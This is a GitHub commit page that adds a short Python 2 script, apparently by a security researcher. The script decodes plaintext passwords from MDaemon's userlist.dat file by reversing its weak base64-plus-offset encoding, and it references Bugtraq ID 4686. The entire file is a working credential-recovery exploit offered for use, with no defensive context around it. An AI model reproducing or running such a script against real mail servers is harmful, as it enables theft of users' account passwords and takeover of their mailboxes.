-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
be965fe
commit 0a9dae3
Showing
1 changed file
with
22 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
#!/usr/bin/python | ||
|
||
""" | ||
Author: Manuel Nader @AgoraSecurity | ||
Script to obtain the plaintext password of MDaemons userlist.dat file. | ||
Ref: http://www.securityfocus.com/bid/4686/discuss | ||
Bugtraq ID: 4686 | ||
""" | ||
|
||
import base64 | ||
offset=[84,104,101,32,115,101,116,117,112,32,112,114,111,99,101] | ||
inicial=raw_input("Enter the password in base64: ") | ||
decode=bytearray(base64.b64decode(inicial)) | ||
crack=decode | ||
result=bytearray() | ||
for i in range(0,len(crack)): | ||
if (crack[i]-offset[i]) > 0: | ||
result.append(crack[i]-offset[i]) | ||
else: | ||
result.append((crack[i]-offset[i])+128) | ||
print "The password is: ", | ||
print result |